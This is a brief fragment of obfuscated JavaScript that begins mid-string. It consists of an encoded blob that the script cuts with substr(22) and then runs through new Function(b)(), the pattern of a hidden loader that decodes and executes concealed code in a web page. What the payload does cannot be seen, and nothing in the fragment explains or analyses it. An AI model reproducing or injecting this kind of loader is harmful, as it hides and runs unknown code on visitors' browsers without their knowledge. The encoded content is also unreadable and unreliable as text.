Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();